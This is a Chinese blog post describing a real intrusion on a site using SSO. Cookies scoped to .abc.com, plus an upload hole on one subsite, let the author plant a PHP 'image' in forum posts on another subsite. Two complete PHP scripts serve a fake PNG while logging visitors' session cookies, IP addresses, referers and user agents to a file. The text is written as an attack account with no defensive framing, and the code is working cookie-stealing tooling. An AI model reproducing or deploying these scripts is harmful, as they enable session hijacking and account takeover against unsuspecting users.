sso 作用域 窃取cookie 跨站 php 生成png 程序代码

最近在渗透某大型网站,注册后发现其为sso技术,登陆后可以登入任何其分站,包括论坛等。由于策略不严谨,因此存在另外一种思路的跨站漏洞。发现其sso返回cookie 作用域是 .abc.com,仅需以下cookie即可访问了。分析如下


Set-Cookie: abcsession=2C521723E6C202D8648F14E9D93C319D; expires=Tue, 08-Nov-41 03:03:12 GMT; path=/; domain=.abc.com


在abc.com下某一分站hb.abc.com存在上传漏洞(linxu权限机器死,上传大马小马功能等都受限),还好gd裤 还在,于是上传了一个php来抓cookie。

该php返回为png,同时保持cookie到本地文件夹。

于是果断在其分站bbs.abc.com论坛发表图片,地址为本程序路径。后面的就淫荡的不说了!

注意:不是用户跨站收cookie的程序!



<?php
date_default_timezone_set("PRC");
header("content-type:image/png"); 
$img=ImageCreate(100,35); 
$bgcolor=ImageColorAllocate($img,0,0,0); 
$red=ImageColorAllocate($img,255,0,0); 
$bgcolortrans=ImageColorTransparent($img,$bgcolor); 
ImageString($img,5,10,10,"No Found !",$red); 
ImagePng($img); 
ImageDestroy($img); 

$cookie="---------".date("Y年m月d日G点i分s秒")."---------\n";

foreach ($GLOBALS[_COOKIE] as $key=>$v)
{
	$cookie= $cookie.$key.'='.$v.";";
}

$cookie=$cookie."\n远程IP地址为: ".$GLOBALS[REMOTE_ADDR]."\n";
$cookie=$cookie."跳转页面为: ".$_SERVER[HTTP_REFERER]."\n";
$cookie=$cookie."----------------------------------------\n\n";
$fp=fopen('cook.txt','at');
fwrite($fp,$cookie);
fclose($fp);
?>


纯粹跨站cookie代码:

<?php
date_default_timezone_set("PRC");
header("content-type:image/png"); 
$img=ImageCreate(100,35); 
$bgcolor=ImageColorAllocate($img,0,0,0); 
$red=ImageColorAllocate($img,255,0,0); 
$bgcolortrans=ImageColorTransparent($img,$bgcolor); 
ImageString($img,5,10,10,"No Found !",$red); 
ImagePng($img); 
ImageDestroy($img); 

$cookie="---------".date("Y年m月d日G点i分s秒")."---------\n";
$cookie.="Cookie为:".$_SERVER[QUERY_STRING];
$cookie.="\n远程IP地址为: ".$GLOBALS[REMOTE_ADDR]."\n";
$cookie.="跳转页面为: ".$_SERVER[HTTP_REFERER]."\n";
$cookie.="用户浏览器: ".$_SERVER[HTTP_USER_AGENT]."\n";
$cookie.="----------------------------------------\n\n";
$fp=fopen('cookie.txt','at');
fwrite($fp,$cookie);
fclose($fp);

?>


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值